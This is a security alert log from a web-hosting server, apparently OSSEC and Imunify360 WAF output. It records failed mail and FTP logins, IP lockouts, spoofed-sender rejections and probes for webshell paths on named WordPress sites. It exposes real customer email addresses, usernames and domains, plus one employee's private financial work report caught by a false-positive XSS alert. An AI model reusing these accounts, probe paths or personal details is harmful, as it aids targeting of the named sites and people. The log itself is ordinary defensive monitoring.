# incident

plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.32.245.134
country_id: 1814991
description:
2026-01-20 18:19:31 dovecot_login authenticator failed for H=(134.245.32.125.adsl-pool.jlccptt.net.cn) [125.32.245.134]:45248: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 118.193.57.59
country_id: 1605651
description:
Jan 20 18:20:53 sv3 pure-ftpd[1787339]: (?@118.193.57.59) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 175.139.12.169
country_id: 1733045
description:
Jan 20 18:21:34 sv3 pure-ftpd[1787949]: (?@175.139.12.169) [INFO] New connection from 175.139.12.169


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 175.139.12.169
country_id: 1733045
description:
Jan 20 18:21:34 sv3 pure-ftpd[1787949]: (oxboldc@175.139.12.169) [NOTICE] /home/oxboldc//public_html/iframe/oxbold-clients-world-map.htm uploaded  (1365 bytes, 643.02KB/sec)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 146.174.184.142
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/SimplePie/src/Registry.php||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 194.110.247.102
country_id: 617790
domain: fkr.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/133.0.0.0 Safari/537.36||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.32.41.16
country_id: 798549
description:
Jan 20 18:23:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.32.41.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.32.41.16
country_id: 798549
description:
2026-01-20 18:23:04 dovecot_login authenticator failed for H=(ADMIN) [89.32.41.16]:46348: 535 Incorrect authentication data (set_id=marketing@kdiballoon.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.243.34
country_id: 1733045
description:
[2026-01-20 18:23:20 +0800] info [webmaild] 27.125.243.34 - jlpom@ajplantations.com.my "POST /cpsess2532273770/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.243.114] != Current IP Address [27.125.243.34]


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 175.139.12.169
country_id: 1733045
description:
Jan 20 18:24:39 sv3 pure-ftpd[1791084]: (oxboldc@175.139.12.169) [NOTICE] /home/oxboldc//public_html/iframe/oxbold-clients-world-map.htm uploaded  (1366 bytes, 516.68KB/sec)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 175.139.12.169
country_id: 1733045
description:
Jan 20 18:24:39 sv3 pure-ftpd[1791084]: (?@175.139.12.169) [INFO] New connection from 175.139.12.169


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.20
country_id: 241170
description:
Jan 20 18:25:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 31.145.189.54
country_id: 298795
description:
2026-01-20 18:25:34 H=([31.145.189.54]) [31.145.189.54]:60719 F=<dse_NA2@docusign.net> rejected RCPT <sales@cordage.com.my>: SPF: 31.145.189.54 is not allowed to send mail from docusign.net


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 180.195.196.174
country_id: 1694008
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/holiday/10/404/1046098 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 18:28:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-20 18:29:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:11560: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-20 18:31:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:19615: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 20 18:34:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.172.11.167
country_id: 1269750
description:
Jan 20 18:35:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.172.11.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.20
country_id: 241170
description:
Jan 20 18:38:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.20 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 175.139.12.169
country_id: 1733045
description:
Jan 20 18:38:18 sv3 pure-ftpd[1802533]: (?@175.139.12.169) [INFO] New connection from 175.139.12.169


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 175.139.12.169
country_id: 1733045
description:
Jan 20 18:38:19 sv3 pure-ftpd[1802533]: (oxboldc@175.139.12.169) [NOTICE] /home/oxboldc//public_html/images/charts/oxbold-clients-world-map.jpg uploaded  (100407 bytes, 144.76KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 18:39:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 175.139.12.169
country_id: 1733045
description:
Jan 20 18:39:31 sv3 pure-ftpd[1802533]: (oxboldc@175.139.12.169) [NOTICE] /home/oxboldc//public_html/index.htm uploaded  (165302 bytes, 5646.73KB/sec)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-20 18:40:05 H=([45.144.212.242]) [45.144.212.242]:56039 F=<no_reply@admin.com> rejected RCPT <sales@chs.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-20 18:42:11 H=([45.144.212.242]) [45.144.212.242]:52992 F=<no_reply@admin.com> rejected RCPT <info@pspoly.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 20 18:45:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-20 18:45:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53378: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-20 18:45:27 H=([45.144.212.242]) [45.144.212.242]:55807 F=<no_reply@admin.com> rejected RCPT <info@pftfood.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.204.85.45
country_id: 2589581
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/news-more.php?id=392586 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 20 18:49:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 18:51:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 128.106.168.241
country_id: 1880251
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul style=\"margin-top: 0in;\" type=\"disc\">\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">update report for export &amp; import schedule (new order &amp; update existing order).&nbsp;</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up shipment details with demeter.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up invoice from ffc.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">request invoice from demeter for payment.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">arrange container truck in with hk awards.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up draft docs from whitby.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">send new booking to future forwarding for lex order.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up tracking details of original docs.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">send weekly report ro hkjc.</span></li>\r\n</ul>||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-20 18:53:03 H=([45.144.212.242]) [45.144.212.242]:50114 F=<no_reply@admin.com> rejected RCPT <inquiries@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 45.91.64.7
country_id: 2017370
description:
2026-01-20 18:54:20 425769 [Warning] Aborted connection 425769 to db: 'unconnected' user: 'unauthenticated' host: '45.91.64.7' (This connection closed normally without authentication)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.105.224.72
country_id: 1861060
description:
Jan 20 18:58:31 sv3 pure-ftpd[1819873]: (?@172.105.224.72) [INFO] New connection from 172.105.224.72


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/cdn-cgi/l/login.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/images/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 19:00:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 20 19:01:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 19:13:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-20 19:13:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53497: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.161.2.137
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:19-16.193.161.2.137||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 20 19:17:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.223.53.234
country_id: 3932488
description:
Jan 20 19:19:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.223.53.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.223.53.234
country_id: 3932488
description:
2026-01-20 19:19:04 dovecot_login authenticator failed for H=([190.223.53.234]) [190.223.53.234]:46627: 535 Incorrect authentication data (set_id=shinwen.ong@tujusetia.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.167
country_id: 690791
description:
2026-01-20 19:19:06 H=([77.83.39.167]) [77.83.39.167]:64643 F=<stevenwelboun@op.pl> rejected RCPT <fkr@fkr.com.my>: SPF: 77.83.39.167 is not allowed to send mail from op.pl


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.206.125.93
country_id: 1269750
description:
Jan 20 19:21:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.206.125.93 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.206.125.93
country_id: 1269750
description:
2026-01-20 19:21:45 dovecot_plain authenticator failed for H=(fa325tza94rrn1hju1gyo) [117.206.125.93]:50183: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 49.149.135.17
country_id: 1694008
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul>\r\n<li data-start=\"130\" data-end=\"213\">went to&nbsp;<strong data-start=\"138\" data-end=\"172\">china bank &ndash; sta. rosa, laguna</strong> to process the following transactions:</li>\r\n<li style=\"list-style-type: none;\">\r\n<ul data-start=\"216\" data-end=\"577\">\r\n<li data-start=\"216\" data-end=\"288\">\r\n<p data-start=\"218\" data-end=\"288\">actual dollar purchase (rates were high but proceeded as instructed)</p>\r\n</li>\r\n<li data-start=\"291\" data-end=\"397\">\r\n<p data-start=\"293\" data-end=\"397\">online enrollees processing (forwarded and taught the accounting team how to prepare the requirements)</p>\r\n</li>\r\n<li data-start=\"400\" data-end=\"481\">\r\n<p data-start=\"402\" data-end=\"481\">manager&rsquo;s check for <strong data-start=\"422\" data-end=\"448\">malvar business permit</strong> (for urgent delivery to diana)</p>\r\n</li>\r\n<li data-start=\"484\" data-end=\"520\">\r\n<p data-start=\"486\" data-end=\"520\"><strong data-start=\"486\" data-end=\"518\">tsb payment: 4 &times; usd 100,000</strong></p>\r\n</li>\r\n<li data-start=\"523\" data-end=\"577\">\r\n<p data-start=\"525\" data-end=\"577\">fetch and secured&nbsp; copies of all completed previous&nbsp; and current transactions&nbsp;</p>\r\n</li>\r\n</ul>\r\n</li>\r\n<li data-start=\"579\" data-end=\"826\">\r\n<p data-start=\"581\" data-end=\"826\">reviewed applicants&rsquo; resumes and additional qualifications, then forwarded them to angeline with instructions to urgently schedule interviews for tomorrow, ensuring all candidates will be interviewed by the final interviewer on <strong data-start=\"809\" data-end=\"826\">january 22&ndash;23</strong></p>\r\n</li>\r\n<li data-start=\"828\" data-end=\"889\">\r\n<p data-start=\"830\" data-end=\"889\">coordinated with <strong data-start=\"847\" data-end=\"855\">kami</strong> regarding the employees&rsquo; payslips</p>\r\n</li>\r\n<li data-start=\"828\" data-end=\"889\">mandatories consolidation, teach angeline and instructions.</li>\r\n<li data-start=\"891\" data-end=\"924\">\r\n<p data-start=\"893\" data-end=\"924\">working on <strong data-start=\"903\" data-end=\"924\">books of accounts</strong></p>\r\n</li>\r\n</ul>||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 19:22:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/img/photos/img/photos/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.92
country_id: 2510769
description:
Jan 20 19:27:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 20 19:28:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.227.25.115
country_id: 6252001
description:
Jan 20 19:29:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.227.25.115 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.227.25.115
country_id: 6252001
description:
2026-01-20 19:29:37 dovecot_plain authenticator failed for H=c-98-227-25-115.hsd1.il.comcast.net (denone) [98.227.25.115]:42502: 535 Incorrect authentication data (set_id=leeyw@fkr.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 20 19:32:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.238
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/css/main.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.224
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/css/common.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 19:35:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 202.76.170.139
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/SimplePie/src/Restriction.php||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.209.18.40
country_id: 192950
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/company/introduction/mproduct/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.216.49.67
country_id: 3469034
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/reject-carton-box?product_id=298 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.216.49.67
country_id: 3469034
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/reject-carton-box?product_id=298 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.43.1.138
country_id: 614540
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/reject-carton-box?product_id=355 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.254.12.31
country_id: 1562822
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/reject-carton-box?product_id=362 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.254.12.31
country_id: 1562822
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/reject-carton-box?product_id=362 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.36.206.167
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/date/13/220/1307590 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.43.1.138
country_id: 614540
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/reject-carton-box?product_id=355 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/apm/images/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/wp-content/themes/apm||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.20
country_id: 241170
description:
Jan 20 19:41:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.20 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.181.246.89
country_id: 2017370
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:19-41.185.181.246.89||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.190.233.189
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/soccer/11/166/1104588 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 19:44:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/images/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 15.235.13.142
country_id: 6251999
domain: kendek.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4472.77 Safari/537.36||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 114.119.130.12
country_id: 1880251
domain: www.appointment.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/mockery/mockery/travis/extra.ini||User:visoftcom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.80.41.92
country_id: 3469034
description:
Jan 20 19:47:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.80.41.92 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.172.244.203
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=8097 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/img/photos/druma.php||SC:/home/indfinitydesign/public_html/img/photos/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 20 19:51:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.53.131
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:19-53.142.111.53.131||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 19:56:45 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.28.19
country_id: 798544
description:
